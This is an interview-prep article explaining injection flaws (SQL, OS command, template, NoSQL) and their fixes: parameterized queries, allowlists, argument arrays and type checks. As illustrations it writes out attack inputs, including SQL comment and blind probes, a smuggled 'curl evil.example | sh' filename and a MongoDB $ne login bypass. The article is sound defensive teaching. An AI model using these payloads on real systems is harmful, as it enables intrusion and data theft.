Public release · Doc SYNT0X-2026-005

Before your interview: SQL injection and its relatives

SQL, command, template and NoSQL injection share one root cause: data that ends up being parsed as code. Why parameterized queries work and escaping doesn't, what parameters can't cover, second-order injection, ORM traps, and the follow-up questions that test whether you understand the root cause.

Before your interview · part 4 13 min read

TLP:CLEAR#interview

SQL injection is the oldest question in the web security interview, and it’s still asked because the answer reveals so much. A candidate who says “escape the quotes” has learned a rule. A candidate who says “keep data out of the code channel” understands a mechanism, and will recognize the same bug in a shell command, a template, a MongoDB query or an LLM prompt.

That root cause is the thread through this part: injection happens when a program builds something that another component will parse (a query, a command, a template) by concatenating strings, and part of the string comes from an attacker. The parser can’t tell which characters the developer meant as code and which were supposed to be data. Every real fix restores that separation. Every weak fix tries to guess which characters are dangerous.

This is part 4 of the series. XSS, covered in part 2, is the same bug with the browser as the parser.

TL;DR#

  • Parameterized queries fix SQL injection because the query and the data travel separately. The database parses the query first, then fills in the values. Data can’t change the structure, whatever characters it contains.
  • Escaping is a guess about the parser and it fails on encodings, numeric contexts and forgotten cases. It is a last resort, not a defense.
  • Parameters can’t hold identifiers. Table names, column names and ORDER BY directions need an allowlist. This is where injection survives in modern code.
  • ORMs are safe until someone uses the raw-query escape hatch, and second-order injection (stored data used later in a query) slips past input validation entirely.
  • The same mistake appears in shells, templates and NoSQL. Command injection is fixed with argument arrays, template injection by never rendering user input as a template, NoSQL operator injection by type-checking input.

The mechanism#

Why concatenation is the bug#

The classic example:

query = "SELECT * FROM users WHERE name = '" + name + "' AND password_hash = '" + h + "'"

With name set to admin' --, the query becomes ... WHERE name = 'admin' --' AND .... The quote ends the string, -- comments out the rest, and the password check disappears. The developer meant name to be a value; the SQL parser saw a quote and treated what followed as SQL.

What an attacker gets out of it depends on the database, the privileges of the application’s database account and how the result is shown:

  • In-band: the result appears on the page, often through UNION SELECT to append rows from another table, or in a database error message.
  • Blind, boolean-based: the page changes depending on whether an injected condition is true (' AND SUBSTRING(password_hash,1,1)='a' --), one bit at a time. Slow, fully automatable, and how sqlmap extracts data.
  • Blind, time-based: nothing visible changes, so the condition triggers a delay (pg_sleep(5), WAITFOR DELAY).
  • Out-of-band: the database is made to perform a DNS lookup or HTTP request to an attacker’s server, carrying data in the hostname.
  • Beyond data: stacked queries, writing files, or running OS commands (xp_cmdshell on SQL Server, COPY ... FROM PROGRAM on PostgreSQL for privileged accounts). This is why the database account’s privileges matter.

Why parameters work#

With a parameterized query (also called a prepared statement), the code and the data are sent separately:

row := db.QueryRowContext(ctx,
    "SELECT id FROM users WHERE name = $1 AND password_hash = $2", name, h)

The database parses SELECT id FROM users WHERE name = $1 ... first, with placeholders, and fixes the query’s structure. The values are bound afterwards, as data. admin' -- is now a strange user name, nothing more. There is no character to escape, because nothing is being parsed.

(Some drivers emulate prepared statements by escaping on the client side, PHP’s PDO with MySQL by default among them. They usually get it right, but the guarantee is then the driver’s escaping, not the protocol. Worth knowing for a senior interview, not worth worrying about in most code.)

Why escaping doesn’t#

Escaping means scanning the input for characters the parser treats specially and neutralizing them. It fails for three reasons:

  • It depends on context. Escaping quotes does nothing when the value is used without quotes: WHERE id = + 1 OR 1=1. Numeric parameters are the classic case.
  • It depends on encoding. In multi-byte character sets such as GBK, addslashes() turned 0xbf27 (where 0x27 is a quote) into 0xbf5c27, and the database read 0xbf5c as one character, leaving the quote free. The escaping function and the database disagreed about what a character was.
  • It depends on every developer remembering it every time. Parameterized queries make the safe version the easy one.

What parameters can’t cover#

Placeholders stand in for values. They can’t replace parts of the query’s structure: table names, column names, ASC/DESC, or SQL keywords. So this is still common in otherwise careful code:

q := fmt.Sprintf("SELECT * FROM orders WHERE user_id = $1 ORDER BY %s", r.URL.Query().Get("sort"))

The fix is an allowlist: map the user’s input to a fixed set of known identifiers ("date" → "created_at", anything else → a default) and never pass the raw value through. Same for dynamic table names in multi-tenant schemas.

ORMs and their escape hatches#

ORMs (Hibernate, Django ORM, SQLAlchemy, Sequelize, GORM) parameterize the queries they build, so ordinary ORM use is safe. Injection lives where developers step outside it: raw-query functions (.raw(), .extra(), sequelize.query(), db.Raw()), string-built query-language fragments (HQL or JPQL built with +), and “literal” helpers that splice text into the query. These are easy to grep for, which is exactly what a code reviewer does first.

A subtler ORM bug is not injection in the classic sense: passing a request object straight into a query builder (User.find(req.body)), which lets the attacker choose which fields, and sometimes which operators, are filtered on. That is the bridge to NoSQL injection below.

Second-order injection#

Second-order (or stored) injection happens when data is stored safely, then later read from the database and concatenated into a query by different code that trusts it because “it came from our own database”. The classic demonstration is registering the user name admin'-- and then using the password-change feature, whose query was built from the stored name. Input validation at the front door doesn’t see it, and scanners that send a payload and look at the immediate response miss it. The rule that covers it: every query is parameterized, whatever the source of the value.

The relatives#

The same mistake, other parsers:

  • OS command injection: os.system("convert " + filename + " out.png") with filename set to x.png; curl evil.example | sh. The shell parses ;, |, $(), backticks and newlines. The fix is to not invoke a shell: pass an argument array to the process API (exec.Command("convert", filename, "out.png"), subprocess.run([...]) without shell=True), so each argument reaches the program as one string. That leaves argument injection: a filename like --output=/etc/cron.d/x is parsed as an option by the program itself. Put -- before user-supplied arguments where the program supports it, and validate that values don’t start with -. Best of all, use a library instead of shelling out.
  • Server-side template injection (SSTI): user input is rendered as a template, not into one: render_template_string("Hello " + name) in Flask/Jinja2. With name set to {{7*7}}, the page shows 49; from there, template engines’ object models often lead to code execution on the server. The fix is to pass user input as template data, never as template source, and to use a sandboxed or logic-less engine where users must write templates.
  • NoSQL injection: MongoDB-style queries are objects, not strings, so the injection is in the structure. A login handler that runs users.findOne({user: req.body.user, pass: req.body.pass}) and receives the JSON {"user": "admin", "pass": {"$ne": null}} matches any password. Query-string parsers that turn pass[$ne]=x into an object (the qs library, Express 4’s default; Express 5 switched to a flat parser) enable the same through plain forms. The fix is type checking: the password must be a string, so reject objects. Server-side JavaScript operators ($where, deprecated since MongoDB 8.0 but still around) bring back classic string injection.
  • Others worth naming: LDAP injection (filters such as (&(uid=USER)(pass=…))), XPath injection, CRLF injection into HTTP headers or logs (\r\n starting a new header or a fake log line), and prompt injection in LLM applications, which is the hardest version because natural language has no separate data channel at all.

What helps besides the fix#

  • Least privilege for the database account: the web app doesn’t need DROP, file access or other schemas. This limits the damage, not the bug.
  • Input validation (a user ID is an integer, an email looks like an email) reduces the attack surface and catches mistakes. It’s not the defense: legitimate input contains quotes (O’Brien).
  • A WAF (web application firewall) blocks known payload patterns and buys time while you fix the code. It is bypassed by encoding tricks and doesn’t see second-order or JSON-structured injection well.
  • SAST: taint analysis (data flowing from a request to a query-building sink without passing a sanitizer) finds most string-built queries in code.

The questions, and what they really want to hear#

“What is SQL injection, and how do you prevent it?”#

What it tests: mechanism over slogan.

30-second answer: “SQL injection is when user input is concatenated into a query and the database parses part of it as SQL, so the attacker changes the query’s logic. The fix is parameterized queries: the query structure is sent and parsed first, the values are bound afterwards as data, so no input can change the structure. For things parameters can’t hold, like column names in ORDER BY, I use an allowlist. On top: least-privilege database accounts, so a mistake does less damage.”

Deeper: types (in-band, blind boolean and time-based, out-of-band), why escaping fails (numeric contexts, encodings), ORM escape hatches, second-order injection.

Follow-ups to expect:

  • Junior: “What does ' OR '1'='1 do?” “What’s a prepared statement?”
  • Mid: “How would you exploit a blind SQL injection?” “Why isn’t input validation enough?”
  • Senior: “How do you find every SQL injection in a large codebase?” (Grep and SAST for raw-query sinks and string formatting near query calls; review dynamic identifiers; then test.) “How would you get from SQL injection to code execution?”

“We use an ORM. Can we still have SQL injection?”#

What it tests: where the safety ends.

30-second answer: “Yes, in three places: raw-query functions with string formatting, query-language fragments built by concatenation, and dynamic identifiers like a sort column taken from the request. And passing request objects straight into query builders can let an attacker pick operators, which is how NoSQL-style injection happens even with an ORM.”

“How do you sort by a user-chosen column safely?”#

What it tests: whether you know the limits of parameters.

30-second answer: “Placeholders only work for values, not identifiers, so I map the user’s choice to a fixed list of allowed column names in code and fall back to a default for anything else. The raw input never reaches the query.”

“What is second-order SQL injection, and why do scanners miss it?”#

What it tests: whether “trusted data” is a concept you question.

30-second answer: “The payload is stored safely, then later read from the database and concatenated into another query by code that trusts its own data. A scanner sends a payload and checks the immediate response, but the injection fires in a different feature, maybe days later. The fix is the same rule everywhere: parameterize every query regardless of where the value came from.”

“What’s the difference between command injection and SQL injection? How do you fix command injection?”#

What it tests: that you see the shared root cause.

30-second answer: “Same bug, different parser: the shell instead of the database. The fix is to not use a shell: pass arguments as an array to the process API, so metacharacters have no meaning. Then watch for argument injection, where an input starting with a dash is read as an option, and prefer a library over shelling out at all.”

Follow-ups: “What’s SSTI and how is it different from XSS?” (SSTI is the server’s template engine evaluating input, usually leading to code execution on the server; XSS is the browser running script.) “Show me a NoSQL injection in a login form.”

Answers that cost points#

  • “Escape the quotes.” Fails on numeric contexts and encodings, and depends on everyone remembering. Parameterize.
  • “Stored procedures prevent SQL injection.” Only if they don’t build dynamic SQL inside. A procedure that concatenates its argument into EXEC is injectable.
  • “We validate input, so we’re safe.” Validation reduces the surface; the name O’Brien still contains a quote.
  • “Our WAF blocks SQL injection.” It blocks known patterns; it’s a delay, not a fix.
  • “NoSQL databases aren’t vulnerable to injection.” The injection moves from strings to query objects and operators.
  • “Use prepared statements for the ORDER BY column too.” You can’t; identifiers need an allowlist.
  • “Use shell=True but escape the arguments.” Don’t use the shell at all.

The same topic in different interviews#

  • Pentester: finding and confirming injection (error-, boolean- and time-based probes, out-of-band callbacks), using sqlmap responsibly and knowing what it does to the database, JSON and header injection points, SSTI detection ({{7*7}}, ${7*7}), and the rules of engagement for anything that writes or deletes data.
  • AppSec: making the safe way the default: query-builder or ORM conventions, banning raw-query functions without review, lint and SAST rules for string-built queries and shell=True, allowlist helpers for identifiers, and code review of the escape hatches.
  • Security engineer: database account privileges and network exposure, WAF as a stopgap with monitoring, logging that detects injection attempts, and the blast radius if the database is read in full.

Practice#

Test yourself#

A developer fixes an injection in ORDER BY by wrapping the value in a prepared-statement placeholder: ORDER BY $1. The query runs without errors. Is it fixed?

Answer

It’s no longer injectable, but it’s also broken: the placeholder is bound as a value, so the database sorts by a constant string, the same for every row, which means no meaningful order at all. The query “works” without sorting. (Some databases reject a parameter there instead; either way, it doesn’t sort by the column.) Identifiers can’t be parameterized; the correct fix is to map the user’s choice to an allowlist of column names in code, with a default for anything unknown.

A Node.js login handler runs db.users.findOne({ email: req.body.email, password: req.body.password }) with plaintext passwords (a separate problem). How can an attacker log in as admin@example.com without the password, and what’s the minimal fix?

Answer

Send a JSON body with an operator instead of a string: {"email": "admin@example.com", "password": {"$ne": null}}. The query now matches the admin’s document if the password is anything but null. The minimal fix is to check that both fields are strings before querying (a schema validator does this), or to cast them with String(). The real fix also includes hashing passwords and comparing the hash in code, so the password never becomes a query condition at all.

An image service runs exec.Command("sh", "-c", "convert " + name + " thumb.png"). A colleague changes it to exec.Command("convert", name, "thumb.png"). What did that fix, and what risk remains?

Answer

It removed command injection: there’s no shell anymore, so ;, | and $() in name are just characters in a filename. What remains is argument injection (a name starting with - is read as an option by convert) and the attack surface of ImageMagick itself, which has a history of vulnerabilities in its file-format parsers and special pseudo-formats. Validate that the name is a plain filename in an expected directory, pass -- if the tool supports it, restrict ImageMagick with its security policy, and run the conversion in a sandbox with no network.

Further reading#